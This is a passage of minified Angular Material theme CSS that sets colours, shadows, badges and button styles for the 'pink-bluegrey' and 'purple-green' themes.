.mat-tab-nav-bar.mat-background-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#e91e634d}.pink-bluegrey-theme .mat-tab-group.mat-background-primary>.mat-tab-header,.pink-bluegrey-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container,.pink-bluegrey-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination{background-color:#c2185b}.pink-bluegrey-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-label,.pink-bluegrey-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-tab-link,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-label,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-tab-link{color:#fff}.pink-bluegrey-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-label.mat-tab-disabled,.pink-bluegrey-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-tab-link.mat-tab-disabled,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-label.mat-tab-disabled,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-tab-link.mat-tab-disabled{color:#fff6}.pink-bluegrey-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-chevron,.pink-bluegrey-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.pink-bluegrey-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-focus-indicator:before,.pink-bluegrey-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-focus-indicator:before,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-chevron,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-focus-indicator:before,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-focus-indicator:before{border-color:#fff}.pink-bluegrey-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.pink-bluegrey-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#fff;opacity:.4}.pink-bluegrey-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-ripple-element,.pink-bluegrey-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-ripple-element,.pink-bluegrey-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination .mat-ripple-element,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-ripple-element,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-ripple-element,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination .mat-ripple-element{background-color:#fff;opacity:.12}.pink-bluegrey-theme .mat-tab-group.mat-background-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-group.mat-background-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-group.mat-background-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-group.mat-background-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#cfd8dc4d}.pink-bluegrey-theme .mat-tab-group.mat-background-accent>.mat-tab-header,.pink-bluegrey-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container,.pink-bluegrey-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination{background-color:#b0bec5}.pink-bluegrey-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-label,.pink-bluegrey-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-tab-link,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-label,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-tab-link{color:#000000de}.pink-bluegrey-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-label.mat-tab-disabled,.pink-bluegrey-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-tab-link.mat-tab-disabled,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-label.mat-tab-disabled,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-tab-link.mat-tab-disabled{color:#0006}.pink-bluegrey-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-chevron,.pink-bluegrey-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.pink-bluegrey-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-focus-indicator:before,.pink-bluegrey-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-focus-indicator:before,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-chevron,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-focus-indicator:before,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-focus-indicator:before{border-color:#000000de}.pink-bluegrey-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.pink-bluegrey-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#000;opacity:.4}.pink-bluegrey-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-ripple-element,.pink-bluegrey-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-ripple-element,.pink-bluegrey-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination .mat-ripple-element,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-ripple-element,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-ripple-element,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination .mat-ripple-element{background-color:#000;opacity:.12}.pink-bluegrey-theme .mat-tab-group.mat-background-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-group.mat-background-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-group.mat-background-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-group.mat-background-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#ffcdd24d}.pink-bluegrey-theme .mat-tab-group.mat-background-warn>.mat-tab-header,.pink-bluegrey-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container,.pink-bluegrey-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination{background-color:#f44336}.pink-bluegrey-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-label,.pink-bluegrey-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-tab-link,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-label,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-tab-link{color:#fff}.pink-bluegrey-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-label.mat-tab-disabled,.pink-bluegrey-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-tab-link.mat-tab-disabled,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-label.mat-tab-disabled,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-tab-link.mat-tab-disabled{color:#fff6}.pink-bluegrey-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-chevron,.pink-bluegrey-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.pink-bluegrey-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-focus-indicator:before,.pink-bluegrey-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-focus-indicator:before,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-chevron,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-focus-indicator:before,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-focus-indicator:before{border-color:#fff}.pink-bluegrey-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.pink-bluegrey-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#fff;opacity:.4}.pink-bluegrey-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-ripple-element,.pink-bluegrey-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-ripple-element,.pink-bluegrey-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination .mat-ripple-element,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-ripple-element,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-ripple-element,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination .mat-ripple-element{background-color:#fff;opacity:.12}.pink-bluegrey-theme .mat-toolbar{background:#212121;color:#fff}.pink-bluegrey-theme .mat-toolbar.mat-primary{background:#c2185b;color:#fff}.pink-bluegrey-theme .mat-toolbar.mat-accent{background:#b0bec5;color:#000000de}.pink-bluegrey-theme .mat-toolbar.mat-warn{background:#f44336;color:#fff}.pink-bluegrey-theme .mat-toolbar .mat-form-field-underline,.pink-bluegrey-theme .mat-toolbar .mat-form-field-ripple,.pink-bluegrey-theme .mat-toolbar .mat-focused .mat-form-field-ripple{background-color:currentColor}.pink-bluegrey-theme .mat-toolbar .mat-form-field-label,.pink-bluegrey-theme .mat-toolbar .mat-focused .mat-form-field-label,.pink-bluegrey-theme .mat-toolbar .mat-select-value,.pink-bluegrey-theme .mat-toolbar .mat-select-arrow,.pink-bluegrey-theme .mat-toolbar .mat-form-field.mat-focused .mat-select-arrow{color:inherit}.pink-bluegrey-theme .mat-toolbar .mat-input-element{caret-color:currentColor}.pink-bluegrey-theme .mat-tooltip{background:rgba(97,97,97,.9)}.pink-bluegrey-theme .mat-tree{background:#424242}.pink-bluegrey-theme .mat-tree-node,.pink-bluegrey-theme .mat-nested-tree-node{color:#fff}.pink-bluegrey-theme .mat-snack-bar-container{color:#000000de;background:#fafafa;box-shadow:0 3px 5px -1px #0003,0 6px 10px #00000024,0 1px 18px #0000001f}.pink-bluegrey-theme .mat-simple-snackbar-action{color:inherit}.pink-bluegrey-theme a:link,.pink-bluegrey-theme a:visited{color:#cfd8dc;text-decoration:none}.pink-bluegrey-theme a:hover,.pink-bluegrey-theme a:focus,.pink-bluegrey-theme a:active{text-decoration:underline}.pink-bluegrey-theme a{outline:none}.pink-bluegrey-theme .confirmation{color:#b0bec5}.pink-bluegrey-theme .ribbon:before{border:5px solid #b0bec5}.pink-bluegrey-theme .ribbon span{background-color:#b0bec5}.pink-bluegrey-theme .error{color:#f44336}.pink-bluegrey-theme .ribbon-sold:before{border:5px solid #f44336}.pink-bluegrey-theme .ribbon-sold span{background-color:#f44336}.pink-bluegrey-theme .primary-notification{background-color:#880e4f}.pink-bluegrey-theme .accent-notification{background-color:#78909c}.pink-bluegrey-theme .warn-notification{background-color:#d32f2f}.pink-bluegrey-theme .img-thumbnail{background-color:#c2185b0d;border:1px solid #c2185b;border-radius:3px;padding:3px}.pink-bluegrey-theme .empty-star{stop-color:#c2185b}.pink-bluegrey-theme .filled-star{stop-color:#b0bec5}.pink-bluegrey-theme .star-border{stroke:#b0bec5}.pink-bluegrey-theme .mat-snack-bar-container{background-color:#424242!important;color:#fff!important}.pink-bluegrey-theme .mat-snack-bar-container.errorBar{color:#f44336!important}.pink-bluegrey-theme .mat-snack-bar-container.confirmBar{color:#b0bec5!important}.pink-bluegrey-theme .google-button{background-color:#78909c!important}.pink-bluegrey-theme .deluxe-membership{background:linear-gradient(90deg,#c2185b 0%,#424242 100%)}.pink-bluegrey-theme .overlay{background:rgba(136,14,79,.7)}.purple-green-theme{--theme-primary: #7b1fa2;--theme-primary-lighter: #8f24bc;--theme-primary-light: #9c27cd;--theme-primary-darker: #671a88;--theme-primary-dark: #5a1777;--theme-primary-fade-10: rgba(123, 31, 162, .9);--theme-primary-fade-20: rgba(123, 31, 162, .8);--theme-primary-fade-30: rgba(123, 31, 162, .7);--theme-primary-fade-40: rgba(123, 31, 162, .6);--theme-primary-fade-50: rgba(123, 31, 162, .5);--theme-accent: #69f0ae;--theme-accent-lighter: #85f3bd;--theme-accent-light: #97f5c7;--theme-accent-darker: #4ded9f;--theme-accent-dark: #3beb95;--theme-accent-fade-10: rgba(105, 240, 174, .9);--theme-accent-fade-20: rgba(105, 240, 174, .8);--theme-accent-fade-30: rgba(105, 240, 174, .7);--theme-accent-fade-40: rgba(105, 240, 174, .6);--theme-accent-fade-50: rgba(105, 240, 174, .5);--theme-warn: #f44336;--theme-warn-lighter: #f65e53;--theme-warn-light: #f77066;--theme-warn-darker: #f22819;--theme-warn-dark: #ea1c0d;--theme-warn-fade-10: rgba(244, 67, 54, .9);--theme-warn-fade-20: rgba(244, 67, 54, .8);--theme-warn-fade-30: rgba(244, 67, 54, .7);--theme-warn-fade-40: rgba(244, 67, 54, .6);--theme-warn-fade-50: rgba(244, 67, 54, .5);--theme-text: white;--theme-text-lighter: white;--theme-text-light: white;--theme-text-darker: #e6e6e6;--theme-text-dark: #bfbfbf;--theme-text-fade-10: rgba(255, 255, 255, .9);--theme-text-fade-20: rgba(255, 255, 255, .8);--theme-text-fade-30: rgba(255, 255, 255, .7);--theme-text-fade-40: rgba(255, 255, 255, .6);--theme-text-fade-50: rgba(255, 255, 255, .5);--theme-text-invert-15: #d9d9d9;--theme-text-invert-30: #b3b3b3;--theme-background: #424242;--theme-background-lighter: #515151;--theme-background-light: #5c5c5c;--theme-background-darker: #333333;--theme-background-dark: #292929;--theme-background-darkest: #1e1e1e}.purple-green-theme .mat-ripple-element{background-color:#ffffff1a}.purple-green-theme .mat-option{color:#fff}.purple-green-theme .mat-option:hover:not(.mat-option-disabled),.purple-green-theme .mat-option:focus:not(.mat-option-disabled){background:rgba(255,255,255,.04)}.purple-green-theme .mat-option.mat-selected:not(.mat-option-multiple):not(.mat-option-disabled){background:rgba(255,255,255,.04)}.purple-green-theme .mat-option.mat-active{background:rgba(255,255,255,.04);color:#fff}.purple-green-theme .mat-option.mat-option-disabled{color:#ffffff80}.purple-green-theme .mat-primary .mat-option.mat-selected:not(.mat-option-disabled){color:#7b1fa2}.purple-green-theme .mat-accent .mat-option.mat-selected:not(.mat-option-disabled){color:#69f0ae}.purple-green-theme .mat-warn .mat-option.mat-selected:not(.mat-option-disabled){color:#f44336}.purple-green-theme .mat-optgroup-label{color:#ffffffb3}.purple-green-theme .mat-optgroup-disabled .mat-optgroup-label{color:#ffffff80}.purple-green-theme .mat-pseudo-checkbox{color:#ffffffb3}.purple-green-theme .mat-pseudo-checkbox:after{color:#303030}.purple-green-theme .mat-pseudo-checkbox-disabled{color:#686868}.purple-green-theme .mat-primary .mat-pseudo-checkbox-checked,.purple-green-theme .mat-primary .mat-pseudo-checkbox-indeterminate{background:#7b1fa2}.purple-green-theme .mat-pseudo-checkbox-checked,.purple-green-theme .mat-pseudo-checkbox-indeterminate,.purple-green-theme .mat-accent .mat-pseudo-checkbox-checked,.purple-green-theme .mat-accent .mat-pseudo-checkbox-indeterminate{background:#69f0ae}.purple-green-theme .mat-warn .mat-pseudo-checkbox-checked,.purple-green-theme .mat-warn .mat-pseudo-checkbox-indeterminate{background:#f44336}.purple-green-theme .mat-pseudo-checkbox-checked.mat-pseudo-checkbox-disabled,.purple-green-theme .mat-pseudo-checkbox-indeterminate.mat-pseudo-checkbox-disabled{background:#686868}.purple-green-theme .mat-app-background,.purple-green-theme.mat-app-background{background-color:#303030;color:#fff}.purple-green-theme .mat-elevation-z0{box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.purple-green-theme .mat-elevation-z1{box-shadow:0 2px 1px -1px #0003,0 1px 1px #00000024,0 1px 3px #0000001f}.purple-green-theme .mat-elevation-z2{box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.purple-green-theme .mat-elevation-z3{box-shadow:0 3px 3px -2px #0003,0 3px 4px #00000024,0 1px 8px #0000001f}.purple-green-theme .mat-elevation-z4{box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.purple-green-theme .mat-elevation-z5{box-shadow:0 3px 5px -1px #0003,0 5px 8px #00000024,0 1px 14px #0000001f}.purple-green-theme .mat-elevation-z6{box-shadow:0 3px 5px -1px #0003,0 6px 10px #00000024,0 1px 18px #0000001f}.purple-green-theme .mat-elevation-z7{box-shadow:0 4px 5px -2px #0003,0 7px 10px 1px #00000024,0 2px 16px 1px #0000001f}.purple-green-theme .mat-elevation-z8{box-shadow:0 5px 5px -3px #0003,0 8px 10px 1px #00000024,0 3px 14px 2px #0000001f}.purple-green-theme .mat-elevation-z9{box-shadow:0 5px 6px -3px #0003,0 9px 12px 1px #00000024,0 3px 16px 2px #0000001f}.purple-green-theme .mat-elevation-z10{box-shadow:0 6px 6px -3px #0003,0 10px 14px 1px #00000024,0 4px 18px 3px #0000001f}.purple-green-theme .mat-elevation-z11{box-shadow:0 6px 7px -4px #0003,0 11px 15px 1px #00000024,0 4px 20px 3px #0000001f}.purple-green-theme .mat-elevation-z12{box-shadow:0 7px 8px -4px #0003,0 12px 17px 2px #00000024,0 5px 22px 4px #0000001f}.purple-green-theme .mat-elevation-z13{box-shadow:0 7px 8px -4px #0003,0 13px 19px 2px #00000024,0 5px 24px 4px #0000001f}.purple-green-theme .mat-elevation-z14{box-shadow:0 7px 9px -4px #0003,0 14px 21px 2px #00000024,0 5px 26px 4px #0000001f}.purple-green-theme .mat-elevation-z15{box-shadow:0 8px 9px -5px #0003,0 15px 22px 2px #00000024,0 6px 28px 5px #0000001f}.purple-green-theme .mat-elevation-z16{box-shadow:0 8px 10px -5px #0003,0 16px 24px 2px #00000024,0 6px 30px 5px #0000001f}.purple-green-theme .mat-elevation-z17{box-shadow:0 8px 11px -5px #0003,0 17px 26px 2px #00000024,0 6px 32px 5px #0000001f}.purple-green-theme .mat-elevation-z18{box-shadow:0 9px 11px -5px #0003,0 18px 28px 2px #00000024,0 7px 34px 6px #0000001f}.purple-green-theme .mat-elevation-z19{box-shadow:0 9px 12px -6px #0003,0 19px 29px 2px #00000024,0 7px 36px 6px #0000001f}.purple-green-theme .mat-elevation-z20{box-shadow:0 10px 13px -6px #0003,0 20px 31px 3px #00000024,0 8px 38px 7px #0000001f}.purple-green-theme .mat-elevation-z21{box-shadow:0 10px 13px -6px #0003,0 21px 33px 3px #00000024,0 8px 40px 7px #0000001f}.purple-green-theme .mat-elevation-z22{box-shadow:0 10px 14px -6px #0003,0 22px 35px 3px #00000024,0 8px 42px 7px #0000001f}.purple-green-theme .mat-elevation-z23{box-shadow:0 11px 14px -7px #0003,0 23px 36px 3px #00000024,0 9px 44px 8px #0000001f}.purple-green-theme .mat-elevation-z24{box-shadow:0 11px 15px -7px #0003,0 24px 38px 3px #00000024,0 9px 46px 8px #0000001f}.purple-green-theme .mat-autocomplete-panel{background:#424242;color:#fff}.purple-green-theme .mat-autocomplete-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.purple-green-theme .mat-autocomplete-panel .mat-option.mat-selected:not(.mat-active):not(:hover){background:#424242}.purple-green-theme .mat-autocomplete-panel .mat-option.mat-selected:not(.mat-active):not(:hover):not(.mat-option-disabled){color:#fff}.purple-green-theme .mat-badge{position:relative}.purple-green-theme .mat-badge.mat-badge{overflow:visible}.purple-green-theme .mat-badge-hidden .mat-badge-content{display:none}.purple-green-theme .mat-badge-content{position:absolute;text-align:center;display:inline-block;border-radius:50%;transition:transform .2s ease-in-out;transform:scale(.6);overflow:hidden;white-space:nowrap;text-overflow:ellipsis;pointer-events:none}.purple-green-theme .ng-animate-disabled .mat-badge-content,.purple-green-theme .mat-badge-content._mat-animation-noopable{transition:none}.purple-green-theme .mat-badge-content.mat-badge-active{transform:none}.purple-green-theme .mat-badge-small .mat-badge-content{width:16px;height:16px;line-height:16px}.purple-green-theme .mat-badge-small.mat-badge-above .mat-badge-content{top:-8px}.purple-green-theme .mat-badge-small.mat-badge-below .mat-badge-content{bottom:-8px}.purple-green-theme .mat-badge-small.mat-badge-before .mat-badge-content{left:-16px}[dir=rtl] .purple-green-theme .mat-badge-small.mat-badge-before .mat-badge-content{left:auto;right:-16px}.purple-green-theme .mat-badge-small.mat-badge-after .mat-badge-content{right:-16px}[dir=rtl] .purple-green-theme .mat-badge-small.mat-badge-after .mat-badge-content{right:auto;left:-16px}.purple-green-theme .mat-badge-small.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-8px}[dir=rtl] .purple-green-theme .mat-badge-small.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-8px}.purple-green-theme .mat-badge-small.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-8px}[dir=rtl] .purple-green-theme .mat-badge-small.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-8px}.purple-green-theme .mat-badge-medium .mat-badge-content{width:22px;height:22px;line-height:22px}.purple-green-theme .mat-badge-medium.mat-badge-above .mat-badge-content{top:-11px}.purple-green-theme .mat-badge-medium.mat-badge-below .mat-badge-content{bottom:-11px}.purple-green-theme .mat-badge-medium.mat-badge-before .mat-badge-content{left:-22px}[dir=rtl] .purple-green-theme .mat-badge-medium.mat-badge-before .mat-badge-content{left:auto;right:-22px}.purple-green-theme .mat-badge-medium.mat-badge-after .mat-badge-content{right:-22px}[dir=rtl] .purple-green-theme .mat-badge-medium.mat-badge-after .mat-badge-content{right:auto;left:-22px}.purple-green-theme .mat-badge-medium.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-11px}[dir=rtl] .purple-green-theme .mat-badge-medium.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-11px}.purple-green-theme .mat-badge-medium.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-11px}[dir=rtl] .purple-green-theme .mat-badge-medium.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-11px}.purple-green-theme .mat-badge-large .mat-badge-content{width:28px;height:28px;line-height:28px}.purple-green-theme .mat-badge-large.mat-badge-above .mat-badge-content{top:-14px}.purple-green-theme .mat-badge-large.mat-badge-below .mat-badge-content{bottom:-14px}.purple-green-theme .mat-badge-large.mat-badge-before .mat-badge-content{left:-28px}[dir=rtl] .purple-green-theme .mat-badge-large.mat-badge-before .mat-badge-content{left:auto;right:-28px}.purple-green-theme .mat-badge-large.mat-badge-after .mat-badge-content{right:-28px}[dir=rtl] .purple-green-theme .mat-badge-large.mat-badge-after .mat-badge-content{right:auto;left:-28px}.purple-green-theme .mat-badge-large.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-14px}[dir=rtl] .purple-green-theme .mat-badge-large.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-14px}.purple-green-theme .mat-badge-large.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-14px}[dir=rtl] .purple-green-theme .mat-badge-large.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-14px}.purple-green-theme .mat-badge-content{color:#fff;background:#7b1fa2}.cdk-high-contrast-active .purple-green-theme .mat-badge-content{outline:solid 1px;border-radius:0}.purple-green-theme .mat-badge-accent .mat-badge-content{background:#69f0ae;color:#000000de}.purple-green-theme .mat-badge-warn .mat-badge-content{color:#fff;background:#f44336}.purple-green-theme .mat-badge-disabled .mat-badge-content{background:#6e6e6e;color:#ffffff80}.purple-green-theme .mat-bottom-sheet-container{box-shadow:0 8px 10px -5px #0003,0 16px 24px 2px #00000024,0 6px 30px 5px #0000001f;background:#424242;color:#fff}.purple-green-theme .mat-button,.purple-green-theme .mat-icon-button,.purple-green-theme .mat-stroked-button{color:inherit;background:transparent}.purple-green-theme .mat-button.mat-primary,.purple-green-theme .mat-icon-button.mat-primary,.purple-green-theme .mat-stroked-button.mat-primary{color:#7b1fa2}.purple-green-theme .mat-button.mat-accent,.purple-green-theme .mat-icon-button.mat-accent,.purple-green-theme .mat-stroked-button.mat-accent{color:#69f0ae}.purple-green-theme .mat-button.mat-warn,.purple-green-theme .mat-icon-button.mat-warn,.purple-green-theme .mat-stroked-button.mat-warn{color:#f44336}.purple-green-theme .mat-button.mat-primary.mat-button-disabled,.purple-green-theme .mat-button.mat-accent.mat-button-disabled,.purple-green-theme .mat-button.mat-warn.mat-button-disabled,.purple-green-theme .mat-button.mat-button-disabled.mat-button-disabled,.purple-green-theme .mat-icon-button.mat-primary.mat-button-disabled,.purple-green-theme .mat-icon-button.mat-accent.mat-button-disabled,.purple-green-theme .mat-icon-button.mat-warn.mat-button-disabled,.purple-green-theme .mat-icon-button.mat-button-disabled.mat-button-disabled,.purple-green-theme .mat-stroked-button.mat-primary.mat-button-disabled,.purple-green-theme .mat-stroked-button.mat-accent.mat-button-disabled,.purple-green-theme .mat-stroked-button.mat-warn.mat-button-disabled,.purple-green-theme .mat-stroked-button.mat-button-disabled.mat-button-disabled{color:#ffffff4d}.purple-green-theme .mat-button.mat-primary .mat-button-focus-overlay,.purple-green-theme .mat-icon-button.mat-primary .mat-button-focus-overlay,.purple-green-theme .mat-stroked-button.mat-primary .mat-button-focus-overlay{background-color:#7b1fa2}.purple-green-theme .mat-button.mat-accent .mat-button-focus-overlay,.purple-green-theme .mat-icon-button.mat-accent .mat-button-focus-overlay,.purple-green-theme .mat-stroked-button.mat-accent .mat-button-focus-overlay{background-color:#69f0ae}.purple-green-theme .mat-button.mat-warn .mat-button-focus-overlay,.purple-green-theme .mat-icon-button.mat-warn 